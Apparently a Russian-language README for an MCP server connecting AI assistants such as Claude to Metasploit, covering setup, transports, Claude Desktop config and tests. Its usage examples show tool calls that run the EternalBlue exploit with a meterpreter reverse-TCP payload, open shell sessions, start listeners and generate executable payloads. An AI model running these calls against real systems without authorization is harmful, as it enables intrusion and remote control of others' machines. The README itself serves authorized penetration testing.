
MCP-сервер для Metasploit
Сервер Model Context Protocol (MCP) для интеграции с Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Этот MCP-сервер предоставляет мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет AI-ассистентам динамически получать доступ к возможностям Metasploit и управлять ими через стандартизированные инструменты, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Запустите службу Metasploit RPC:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
Сервер поддерживает два метода транспорта:
Вы можете явно выбрать режим транспорта с помощью флага --transport:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
Дополнительные параметры для HTTP-режима:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Для интеграции с Claude Desktop настройте claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
Для других MCP-клиентов, использующих HTTP/SSE:
Запустите сервер в HTTP-режиме:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Настройте ваш MCP-клиент для подключения к:
http://your-server-ip:8085/sse⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ ПО БЕЗОПАСНОСТИ:
Этот инструмент предоставляет прямой доступ к возможностям Metasploit Framework, включающим мощные функции эксплуатации. Используйте его ответственно и только в средах, где у вас есть явное разрешение на проведение тестирования безопасности.
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)Этот проект включает комплексные модульные и интеграционные тесты для обеспечения надёжности и поддерживаемости.
Установите зависимости для тестирования:
pip install -r requirements-test.txt
Или воспользуйтесь удобным установщиком:
python run_tests.py --install-deps
# OR
make install-deps
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
tests/test_options_parsing.py: Модульные тесты для проверки корректности разбора параметровtests/test_helpers.py: Модульные тесты для внутренних вспомогательных функций и управления MSF-клиентомtests/test_tools_integration.py: Интеграционные тесты для всех MCP-инструментов с мокированным бэкендом Metasploitconftest.py: Общие тестовые фикстуры и конфигурацияpytest.ini: Конфигурация pytest с настройками покрытияПосле запуска тестов с покрытием отчёты доступны в:
htmlcov/index.html (при использовании параметра --html)Для непрерывной интеграции:
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
По умолчанию payload-файлы, созданные с помощью generate_payload, сохраняются в каталог payloads в вашей домашней папке (~/payloads или C:\Users\YourUsername\payloads). Вы можете изменить это расположение, задав переменную окружения PAYLOAD_SAVE_DIR.
Установка переменной окружения:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
В конфигурации Claude Desktop:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация payload может завершиться ошибкой.
Apache 2.0